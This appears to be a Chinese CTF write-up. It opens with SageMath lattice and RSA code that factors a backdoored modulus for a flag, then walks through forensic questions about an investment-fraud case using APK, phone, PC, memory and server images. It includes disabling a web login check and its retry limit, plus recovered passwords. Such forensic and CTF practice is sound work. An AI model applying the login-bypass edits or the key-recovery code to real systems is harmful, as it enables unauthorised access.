107394873217630422570936623880377978808953102079822366044413302527664682202991497625337600952832757980971902170742333073921135628235500551046570857708793010351090892092417395916968108946788438147321942266698287677350547970845679474007280078939388237434644446635255549559022153878388006477674710605081135879456867591725577517023044111094541257015514457259942700651158240017447609481228325274221251138332472541861502584164767676203023712244274563455701296781456000629364827269158899863713464655051372624093922768113852126864791355003135755565682237544969235783476086293912567802208369700502394901293782695666564339102789466085404608836339329650002050128963408330010382831231012237014274775896839269302173681021964842269968250671560573445862275134453320217672721818943333539016612702886003757042711221957746352716329164140315057299599294376527853842627041607856599108409067242878086913811106172846700928991925332414462746636425080079230443029572749576590868827630787870558204100431500084387902666023124837021982620597434288090159199406440052697428168187209203658336095402291227660282589507849078977055652292742732962717599030070711567905364979461708359904122601041946623630364581967046520146737494239070014229693018097351639227724203684234308217138545474026323237719482542327552473107710807011133804919537706806005714199832933437746623612694760178087234912102227060818821785981299309447340665410716823607332812526168332641657052979811066565038271198996545921963610372405231920961899400845851296733279978620271347623177814539601222959458778321634070103225972024683344239126185705235614087516340226422880412119191414440205345674148386167665748855442946081462902751966333172657417518839510449404755931940739075753727979306152379874217663126425580183559239591750519861496413596214874972534376534993718874211977861576694865786452346685079911100681474836437582614315834997864212773580119348100526045766637331864482786929245962857751008214241233166232831505271463886923324134825342356019822599777352631234993744978915205564833565878360368731366415913670587100334887962760531396262264711195036515169369826941240935633330766040802965514627738944637938312624529484942143538584408780054924303176440845534477972134613721339873389494589182545679724706688357045793687896127997046085197707661868537468456506401100063603639667210287867726226166116847286195484775698002508278650499492182243552378804745372310955626124451547652355749733792482673726384780525761769584268931374748162508202790788170508306104425630569793823780168413397583022077368721695853340144854392562470438547910808098360313836434314988050372444336622005939592321793827722968293118852235708677065912153964887940911101101039423335470984777903198327018063947437643254819870150798785779906450921570286582204230460179128394763865873872073190665461544313033911263035427201696128443121570059898445952601781780126388053941795381606380002058563291321547978554911599083168256989926221520213501850965026707723308003729842929136196471532798477250492469686905792383597327729987647258260679589434132606672791962970232535673677457343774351730642584904503622861725914076902934888537363589502544929866179130942624348782107983775428377041871951501782308833313173290601958403161308955430442082280648647470117436322896805856585637993954134579761503754509017376573677691517340101300738978801152563535838831793318740187220722099396648335550926947214450010894214163101815316096785687407009534536454667314772668698898901466717062024203232842836467444518468762248095700604843848000837792037078167960588129334514575394652625984331138007897911446379010748434772109375734834436971000178683326008762684271391681981770504373243023210498621366950241294179945137813741184964496012612104907372584922592731578289493377953359976482107889169373324833335187604325623284561601188795111236472581745643091542226243315900916281090701435294029686901821708914325411866249267674312973754884789980055011505319074446737461531785127051319355373320648080559318152904992087030092983489870298213219975300001733306975337422619448976655134956761580838409562843071867497978077677323154897320151428562911412904177153952495821256190104983710364972232834926836224739016574229541869875406252539543980309648608391127358307191552660458001382674724585888194324498060218164171293253708632170843453416116702174675096689126499608549616704521510457902188760575111530684148367714724703026853817967066036328530378861395314731472151320559118919856891991089985634973375552131204693980301034358939270790217044118874047688648828664882105193013493634681490541248365340356833966291527168399270652784557243494787018476812050661672946283424486093907366186837038325659950793470078188294266728342420669205879642514458683805366040599422515534306920686901155572071570697423557830924638788730838489034161299210542834892857189755559366635478365056603032000438656615452617258885131782074530795256008985786448336781306335727153569211343667279688]
Cs = [813960602316003822373707947894111859018513073507398326853452390046679902636146450042490435624875389131678044541757384297853878887897691639924620437844105667310472101238889623543255809246772047251213362523670618145962287705319390851707021088358333768555101351605145922125243957408594257226129670506748975585548618477079542034439812499299348172601780082410118486479357089433765711733400709574657418048464225715724091467457454996920521245517408697962287328781660172924375343047443616213875598830377210259498976446581888659405015803577337269190864320017470551010716690155368391644885016684436880826890016079118987988646150813257874038500701223429630662104727281092638774093020159346017687219565809723683613849220364899152142792687463751952561035749037583461127881013310604211628416782427642576537753826054924818984220964280741905185643986017630454253562852051349318488828073385103084138926801432973213673304459124585445072035446143655530905621270478326015484371580991654193575019554122677633200632650159243259765758099074176416796275322432157327955935097901477717306058169794216079084578544531196059038015401156725235502706143396714106896330287587237860211154821723195496551569159374953398112211008305465112686654570848738392719171310267516353799796514587790845891436757011323761869044622559902758322970504358548733636938457083535644723388210752578649311718854524047992380524533863744945353943491934547933842386610288532001047691381581940662251263249561633267884166098053130771894975324813109403018513132768898925998367342816961696792653654998123762399072483139974434127186239333716212295488709461585976545910401136476458333930167060725375498664586689922683473500865977338536453526699646946982090029555521900012304016219328488701400452052438846888508591910947639752080094465009622568296701465965949214617545676819204984390042310077453137495863845140433104963541882661143348781558428467067851211914028986473210444212320850593380929496290885614183267947674247549266156691962976199271396829975915118691077577671684156496026762626171388002895398201456656580507920519170549327618625423797366792075116257872626605002727580286505567977884867816788235806054395449066065527961592566647660739344595666723031040900848169379291448118422173325011451848257324320959442835018204770321389342146509579506234886430764757006006092917679509318578675511393119004771855350347049350668372164113672309529204366209731459336059696053011279881803732117838368009493728313762776783185876711475448127363787374432448634707849149426821610638073413299588217259428219319013703633673213128364594170782521444300561327439516770200289550957339013848496654479674183450164326164222959035748035117444906396515108356683081562421715885871762215055266356577117853857983960152113987173865737809535655981046541363297829205585756688754350904695498684365256423604945135941557021419402686079315456435190920620640430630667903578283746531894135845972607789350856875988416502844449928926608172021007623804016862120955944209979646627517605919569665003123512729487396259897297430371954019354757032668261071680448883964765939970277795762516432385069935810483465561205803899271818371322861203799819361408560729938874015963549190016346564897559914325242169936640199698246570622885440620289285334930266542626820817573255400696920894656399802800293784026517789019495592598918797088989481400856818145355737428268264761104680797195040239964929069286884073523873469606498132661552527997945998461149945931939857824343164584528157149801459596694594269553069502164902110100517378462894925649504277727979281804552648205656805641110897782079261913521754015523836559703061609736345082448962366945077014388440136497304600346558664500907338971190652430161592950034872651071899399844811005334903603489850701438421434507759035880731001282593505547263706696433846722124510944639348814854036634030674652324137538389633115261641338120870830450195003052688429825997002475569804112786250323375715461269426478757154438256599704658856730012976479429755682431385902070463000523922633485450456116714610844433478606282483555281293392190381222507522415201109713213211855422062159572411351774394224604741174039914895990462480547907567653962717937032184082902860962375339777912487279175873955266466859916668297234935820047034622872016055477542319783503685930666306133426697190577406003964107501307134235755736045407691815950643821304187431993958805648566903603216981196118628996746825748374999189542155866127214016604808037761824195261283013629856811915761395675668764888314252246178456392178184808209675073353668065859462973370952067638600362603027004944432431159077181850014565111386903999437407909417638955829835968762044576584140336435669169257416329889608724441659501505686743585685637503938959420218592920684095821315570287594949046906540845680155409583875560992116323139630261388939207466766129106144662938095552878745416852271253443975908911908133192704735692594156704890845632323597567684452235384416207560942706485122262968171572278466085073896868555939355074751860808910808256262563256695302479834273779533250326677261675920382563740724519046031055848101155377513966451970868485009993133229140763467135139437193719852304474223274376802246316061994184001315310541974372037710345784013745850917417372818988449674035460931252925163492893045540676724382028551449426433848182357481360171548307669626670378463957372180022299717886359234715257503609840259652299608801380158708958215469085753181574046119339162501035682760128157682876145155787404749378257091769354933553751411564910339364737060790592181298353503681772458140296650361799642008751912199949759256475335826994736872858070790996465691548824145090656118400658094710653091902512202734291455081626761336029388647093963814731339707730263943336762719590393632529959830770583595564420484242741145469963066605001413309730267207102582263802969163447380002867529061533015311921455888270247841707725063403103311221827713218425321540707437203780169848645054354422606444548218532045886590764337285894491599474684125156258721180140005227879634894129945804722960303557155355425463727718384773234168536269864145676874709395219339461022161046737854442491442538319225495210529612187339496590748342159946035358350803950173578969286373548206464607787708829177608565323999202602028268678215492617846089022766263623398000156742690389701553275078708549567894425254452956426634646344097191468359576571843417153278931037524323172136339917846491397351511099933539635058142094213472513676095819902241563092702688501248609933062676673725716530874502453009707877863878222935552017730698744000269687803988880527586852839674386348153488847855298379345006242937194113253507841671165703918046002556540754620388445070915591732657256257064550672991321470503475860043341234413424583081291503862412096796305187619868502587748828179361018516899555440726681627662281265988648375660270530192535110103175272729430153196559629380265286208449550068583388151747513455862596472177530310003861416054567221259786651202299058411072511833749553931685707412514636308738408972676133185363706131642713660754281073120822391901849944398093257751822515073468252939543075586963360992868413324864290837308216610370795940797957094565066506489483089379278658514795189713701943386974203309580258770009927268150497535566874382133472336897677889450703322580414515754509068222950593893078245656843299218505205530070188022795662269844105088450622337860767482440261453039372936791577137540210738094344211726569526833931715303002240197841813186205177645338725657963373697442704205619871171361101831891614475032409224474817054167929335878746531427980282714190471263188376089128406106851686623310774890789241719381568167580210027581541900359110459878728688406025608100014784866859967415069472317139631192389224834260000114480552082858873457982931213783789254747354998868003076449720018328368984646143672060680805067797347556202829080237689404028437921911695725054242999376373353459286883199042957060027810148689725659081002082126346945930608550687541415467743166837179722040805388191577160887849505649760949181251560547472271598936178113043683541495970916235935289470274241813254378868964502496661853777833292127852117859645515779670872354035434010971444986470181603050286909439270203829716779830373967669258071248028962067150489645122137312109548557165776974106794618229427193529678603838871713105074310560155594746362480885612296973165331480963045879127227043213462768086647044621229880704662584728924913904523204985823847056247882349892580869154793175895544044700066416633922067529680261910503544772190854751760076920890936739195135137608051745438587493241669195079644952352847096468023320109219787549162138426400060591708772742036825960295348204573787431673486966335080578765346768135800288344580251211949027002658413241092081227396455353862253913043273557206036413962155448225588774264724397735184715073361720574971999394024505886657990104521908363510109042272451322941410387057374342053356798436921241632829920164831681936977074755291938222153281537230092193323541945899738875736631247909637359816012414363314617922167238192143006900043210061577659176328383586570759657458978598400749076925462287692314594837852961494454950837549434543148869247423634127441385921463980373281159265749886433453416941713109715452118403890765104911555504796689667233466109340520491098107672774133380245243259059943608180696759364841565392367185042940634951150659353927824901383488690810266080208878076329104944759931627228905172809552808063163769317826043905443799635345365021015532382100166858241152720115250871898592915217180839896374819810099249842]

L = Matrix(ZZ,62,63)
for i in range(len(cs)):
    L[i,len(cs)] = cs[i]
    L[i,i] = 1

L[:, len(cs)] *= 2 ^ 2048
#print(L.change_ring(Zmod(7)))
L = L.LLL()
#print(L)

xx = product([ZZ(y) ^ x for x, y in zip(L[1][:-1], Cs)])
yy = product([ZZ(y) ^ x for x, y in zip(L[2][:-1], Cs)])
r = gcd(xx.numer() - xx.denom(), yy.numer() - yy.denom())
print(r)
s,s1,s2 = xgcd(cs[1], cs[2])
g = pow(Cs[1], s1, r) * pow(Cs[2], s2, r) % r
print(g)

r-1是个极其光滑的数,可以用来求解离散对数,用它来求个私钥

x = 10661668070998584360419309727765572397096868781636098095295487404295848193280503932533547717105939587559768619286290065762620186259047850096911244235337628
w = 4906271112282365731782355718975954883681410512144653038967637004076216581811845789271674832502423740658483643339407781551392926100321199924692149941796591

顺其自然地求解pq

X = 197551296081022143608034360606381334253374533627365455002683616928330857539205836504075700389569213696043700490195977045586318090211726350917451410932216
W = 10625560347436147537644301075885059900758953251551866239435327407977591190018531918316486861730777808988185029637608372445416280896280058313924537678128258
c = 61040814411609979711931510878805548760848686739454567580358315369154260598969544907138563610735920809370306294050956464828615417082277087799410050319871691154003766481799397897519555113273982347768485719165972634089532894585256662433949694618032747408071953491187718726218120284389638124624152241321006634774
n = 66022752859576751705544115674843820574619778139841743306742674741819040147745776264697779394213058328572691946505564202779552568613562176486470653760142864852745249430164256770469301179840812051842363261404790355057115296671805975126795017665392798621718740402876024901551851638786170466127104615340863081593
r = 10667924450645948100608927157603781268991945924055943816082403476371801785989561454936076097627912279097114498936308342036099904242687703932444772733243819
g = 6019887080267290264230260653584196278384320835640816590398803560025633855808434001764263669714920086295176455397726166743099512294951861972283858355052731
x = 10661668070998584360419309727765572397096868781636098095295487404295848193280503932533547717105939587559768619286290065762620186259047850096911244235337628
w = 4906271112282365731782355718975954883681410512144653038967637004076216581811845789271674832502423740658483643339407781551392926100321199924692149941796591

C=ZZ(n*W %r)

p=ZZ(C2*W^0*ZZ(pow(C,x,r)) %r)
print(p)

最终结果如下

from Crypto.Util.number import *
from gmpy2 import *
e = 65537
c = 61040814411609979711931510878805548760848686739454567580358315369154260598969544907138563610735920809370306294050956464828615417082277087799410050319871691154003766481799397897519555113273982347768485719165972634089532894585256662433949694618032747408071953491187718726218120284389638124624152241321006634774
n = 66022752859576751705544115674843820574619778139841743306742674741819040147745776264697779394213058328572691946505564202779552568613562176486470653760142864852745249430164256770469301179840812051842363261404790355057115296671805975126795017665392798621718740402876024901551851638786170466127104615340863081593
p = 7235284189431034832042412280826370091519780455676267387609597166985508163736912532994379832384451948567288869573364590805507346423864423622133140637948689
q=n//p
phi=(p-1)*(q-1)
d=invert(e,phi)
m=powmod(c,d,n)
print(long_to_bytes(m))
#b'god, you hack my backdoor!!! flag{a_trivial_r5a_bbbbbbackd00r_***712***_c3nt5}'

取证部分

取证检材容器密码:Hpp^[email protected]=gUPG#[email protected]

案情介绍

2021年5月,公安机关侦破了一起投资理财诈骗类案件,受害人陈昊民向公安机关报案称其在微信上认识一名昵称为yang88的网友,在其诱导下通过一款名为维斯塔斯的APP,进行投资理财,被诈骗6万余万元。接警后,经过公安机关的分析,锁定了涉案APP后台服务器。后经过公安机关侦查和研判发现杨某有重大犯罪嫌疑,经过多次摸排后,公安机关在杨某住所将其抓获,并扣押了杨某手机1部、电脑1台,据杨某交代,其网站服务器为租用的云服务器。上述检材已分别制作了镜像和调证,假设本案电子数据由你负责勘验,请结合案情,完成取证题目。

APK取证

【APK取证】涉案apk的包名是?[答题格式:com.baid.ccs]

com.vestas.app

【APK取证】涉案apk的签名序列号是?[答题格式:0x93829bd]

0x563b45ca

【APK取证】涉案apk中DCLOUD_AD_ID的值是?[答题格式:2354642]

2147483647

在AndroidManifest.xml里搜索DCLOUD_AD_ID

【APK取证】涉案apk的服务器域名是?[答题格式:http://sles.vips.com]

光看APK其实还不太好确定,但继续往后做多次提到https://vip.licai.com:8083/这个域名

可以确定是服务器域名

【APK取证】涉案apk的主入口是?[答题格式:com.bai.cc.initactivity]

io.dcloud.PandoraEntry

手机取证

【手机取证】该镜像是用的什么模拟器?[答题格式:天天模拟器]

雷电模拟器

【手机取证】该镜像中用的聊天软件名称是什么?[答题格式:微信]

与你

只有这个软件

【手机取证】聊天软件的包名是?[答题格式:com.baidu.ces]

com.uneed.yuni

【手机取证】投资理财产品中,受害人最后投资的产品最低要求投资多少钱?[答题格式:1万]

5万

【手机取证】受害人是经过谁介绍认识王哥?[答题格式:董慧]

华哥

计算机取证

【计算机取证】请给出计算机镜像pc.e01的SHA-1值?[答案格式:字母小写]

23F861B2E9C5CE9135AFC520CBD849677522F54C

无能狂怒,真理掌握在少数人手里!!!

【计算机取证】给出pc.e01在提取时候的检查员?[答案格式:admin]

pgs

到底是谁给我改成yang88了

再次无能狂怒

【计算机取证】请给出嫌疑人计算机内IE浏览器首页地址?[答案格式:http://www.baidu.com]

http://global.bing.com/?scope=web&mkt=en-US&FORM=QBRE

比赛的时候只写了主域名,所以错了

当然这里也可以看注册表(regedit)

在HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page里

【计算机取证】请给出嫌疑人杨某登录理财网站前台所用账号密码?[答案格式:root/admin]

yang88/3w.qax.com

Chorme里有保存的账号密码

注意这个域名,就是APK的服务器域名,这里可以确定第4题的答案

【计算机取证】请给出嫌疑人电脑内pdf文件默认打开程序的当前版本号?[答案格式:xxxx(xx)]

2023春季更新(14309)

打开WPS后在右上角设置——》关于WPS里能看到

【计算机取证】请给出嫌疑人计算机内文件名为“C盘清理.bat”的SHA-1?[答案格式:字母小写]

火眼爆搜没有搜到

看到下边提到了iSCSI服务器,可能在这个服务器里

启动起来  计算机——》打开控制面板——》系统和安全——》管理工具——》iSCSI发起程序

双击之后这里选是就可以了

之后会发现弹出来个窗口

计算机中也会出现一个F盘

在里边找到了C盘清理.bat

certutil -hashfile 命令

【计算机取证】请给出嫌疑人Vera Crypt加密容器的解密密码?[答案格式:[email protected]#]

[email protected]@

在火眼里爆搜找到上边的txt

追到原始位置

就有VC容器密码了

【计算机取证】请给出嫌疑人电脑内iSCSI服务器对外端口号?[答案格式:8080]

3261

这里致敬xiang佬,是看他的wp学到的 respect!

百度了解到这个软件

在刚刚的截图里,我们看到了starwind6这个文件夹,追进去

安装完成之后启动,看到端口是3261

【计算机取证】请给出嫌疑人电脑内iSCSI服务器CHAP认证的账号密码?[答案格式:root/admin]

user/panguite.com

target——》CHAP Permissions

看到用户名是user,本来想取个巧,从密码里复制,结果被拒绝了

回到火眼,既然电脑里有这个安装包,那么一定已经被安装过了

在默认安装路径里果然找到了StarWind

资源管理器中打开,并把该文件夹拖到VS Code里打开

爆搜user

找到密码panguite.com

【计算机取证】分析嫌疑人电脑内提现记录表,用户“mi51888”提现总额为多少?[答案格式:10000]

1019

还记得有个VC容器密码吗

看到这个txt文件的大小,明显是个VC容器

用密码挂载

里边有7个excel表,应该都很重要

这里先看提现记录表

筛选求和就ok

内存取证

【内存取证】请给出计算机内存创建北京时间?[答案格式:2000-01-11 00:00:00]

2023-06-21 01:02:27

直接imageinfo就可以看到创建时间

【内存取证】请给出计算机内用户yang88的开机密码?[答案格式:abc.123]

3w.qax.com

可以mimikatz,但没必要

我们在镜像仿真的时候,火眼就已经给出了密码

再不济用Passware Kit

【内存取证】提取内存镜像中的USB设备信息,给出该USB设备的最后连接北京时间?[答案格式:2000-01-11 00:00:00]

2023-06-20 17:01:25

装了个usbstor,结果一堆报错,但幸好不耽误用

python2 vol.py -f/home/muchen/桌面/bluehat/memdump.mem --profile=Win7SP1x64 usbstor 

【内存取证】请给出用户yang88的LMHASH值?[答案格式:字母小写]

aad3b435b51404eeaad3b435b51404ee

好好好,比赛的时候选成了后边的,原因竟是因为...

【内存取证】请给出用户yang88访问过文件“提现记录.xlsx”的北京时间?[答案格式:2000-01-11 00:00:00]

2023-06-21 00:29:16

比赛的时候用取证大师做的

【内存取证】请给出“VeraCrypt”最后一次执行的北京时间?[答案格式:2000-01-11 00:00:00]

2023-06-21 00:47:41

比赛的时候用pstree结果错了

python2 vol.py -f/home/muchen/桌面/bluehat/memdump.mem --profile=Win7SP1x64 pstree > 1.txt  

以为是这个时间

但其实在火眼里找用户使用记录

【内存取证】分析内存镜像,请给出用户在“2023-06-20 16:56:57 UTC+0”访问过“维斯塔斯”后台多少次?[答案格式:10]

2

比赛的时候没想到从这里找,蒙的2,结果蒙对了

从浏览器的历史记录里找就可以了

【内存取证】请给出用户最后一次访问chrome浏览器的进程PID?[答案格式:1234]

2456

用pstree,比较下时间,最晚的一个的pid号是2456

服务器取证

【服务器取证】分析涉案服务器,请给出涉案服务器的内核版本?[答案格式:xx.xxx-xxx.xx.xx]

3.10.0-957.el7.x86_64

因为虚拟机不能复制,想连finalshell

netstat -antpl 看端口 22

ifconfig看ip

root 123456

发现连不上,看了下本机ip不在一个网段

用dhclient -r重新分配ip

之后连上了

uname -a

【服务器取证】分析涉案服务器,请给出MySQL数据库的root账号密码?[答案格式:Admin123]

bad11d923939ca2dcf 或者 ff1d923939ca2dcf

改个密码进宝塔看看有没有

但是!

在我乱翻日志的时候看到有条修改密码的

并且几乎在同一时间,保存了个.env文件

用火眼查看一下

同样有个DB密码在里边

所以并不确定该填哪个,看了xiang佬的wp,前边的错了,那估计就是后边的

【服务器取证】分析涉案服务器,请给出涉案网站RDS数据库地址?[答题格式: xx-xx.xx.xx.xx.xx]

pc-uf6mmj68r91f78hkj.rwlb.rds.aliyuncs.com

这样可能看不全,鼠标移到这里就能看全了,或者用f12爆搜

【服务器取证】请给出涉网网站数据库版本号? [答题格式: 5.6.00]

5.7.40

盘古石初赛遇到过,记住了

mysql -V

【服务器取证】请给出嫌疑人累计推广人数?[答案格式:100]

69

翻烂了数据库都没找到,而且只有以下四个库,估计需要先还原数据库

还是学习xiang佬的wp

原文章在这里:https://blog.csdn.net/weixin_40230682/article/details/118703478

首先安装qpress

wget "http://docs-aliyun.cn-hangzhou.oss.aliyun-inc.com/assets/attach/183466/cn_zh/1608011575185/qpress-11-linux-x64.tar"
tar xvf qpress-11-linux-x64.tar
chmod 775 qpress
cp qpress /usr/bin

之后安装xtrabackup

wget https://www.percona.com/downloads/XtraBackup/Percona-XtraBackup-2.4.9/binary/redhat/7/x86_64/percona-xtrabackup-24-2.4.9-1.el7.x86_64.rpm
yum install -y percona-xtrabackup-24-2.4.9-1.el7.x86_64.rpm

这个”完毕!“真好看

这时候遇到了另一个问题,.xb的文件死活上传不上去

解决方法:https://blog.csdn.net/hushichuanren/article/details/131462504

之后用xbstream处理该文件

cat hins261244292_data_20230807143325_qp.xb | xbstream -x -v -C /www/server/data

xiang佬说保存但是不影响

修改mysql配置文件

vim /etc/my.cnf
lower_case_table_names=1#添加这一行在[mysqld]块下

service mysql restart

重启mysql

mysql -p登录

重构成功!

进入宝塔面板添加个服务器ip作为域名

如出一辙的报错了

在文件中的.env文件里修改配置

修改DB_Host和DB_PASSWORD

找到登录url和账户密码

重构成功

这个密码很明显是不对的,找到后端,修改登录逻辑

把!=改成==,返回改成0

之后报错说我尝试次数大于5次

直接给注释掉

用root和123456登录进来了

在会员管理里搜索yang88

找到其推广人数69人

【服务器取证】请给出涉案网站后台启用的超级管理员?[答题格式:abc]

admin

在管理账号里看到启用的超级管理员只有admin

【服务器取证】投资项目“贵州六盘水市风力发电基建工程”的日化收益为?[答题格式:1.00%]

4%

项目管理里搜索该项目名称!

【服务器取证】最早访问涉案网站后台的IP地址为[答题格式:8.8.8.8]

183.160.76.194

登录日志找到最早的时间对应ip

【服务器取证】分析涉案网站数据库或者后台VIP2的会员有多少个[答案格式:100]

20

会员级别筛选等级为2

数了数有20个

【服务器取证】分析涉案网站数据库的用户表中账户余额大于零且银行卡开户行归属于上海市的潜在受害人的数量为[答题格式:8]

2

修改root密码为123456

登录phpmyadmin界面

密码手不太会sql,chatgpt万岁

member表里全部是会员,从里边筛选受害人即可

SELECT * FROM `member` WHERE bankaddress LIKE '%上海%';

找到两个

【服务器取证】分析涉案网站数据库或者后台,统计嫌疑人的下线成功提现多少钱?[答题格式:10000.00]

128457.00

还是在会员管理界面搜索yang88

【服务器取证】分析涉案网站数据库或者后台受害人上线在平台内共有下线多少人?[答题格式:123]

17

受害人叫陈昊民,搜索就行了

找到其上线id为513935

查询

SELECT * FROM `member` WHERE inviter = '513935'

数了数有17个

【服务器取证】分析涉案网站数据库或者后台网站内下线大于2的代理有多少个?[答题格式:10]

60

SELECT inviter, COUNT(*) AS inviter_count
FROM member
GROUP BY inviter
HAVING inviter_count > 2;

数了一共60个

【服务器取证】分析涉案网站数据库或者后台网站内下线最多的代理真实名字为[答题格式:张三]

SELECT COUNT(*) AS inviter_count, `inviter`
FROM `member`
GROUP BY `inviter`
HAVING inviter_count > 2
ORDER BY inviter_count DESC;

对这些有下线的代理进行数量排序

看到了这个人的id,由于问的是真实姓名,需要再查一下

FROM `member` WHERE invicode = 617624

【服务器取证】分析涉案网站数据库或者后台流水明细,本网站总共盈利多少钱[答题格式:10,000.00]

15,078,796.38

盈利=入账-提现

看到在moneylog里是网站的交易明细,加与减代表了

把+号和-号的分别相加做差就可

SELECT SUM(moneylog_money) FROM `moneylog` WHERE moneylog_status='+';
SELECT SUM(moneylog_money) FROM `moneylog` WHERE moneylog_status='-';

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450786500&idx=1&sn=60574c94beb131fb77c129c5bb613db0&chksm=b104f9e3867370f571904a542322577b570cd28b3d7a598756646cdc39e1988621e3283a930d&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh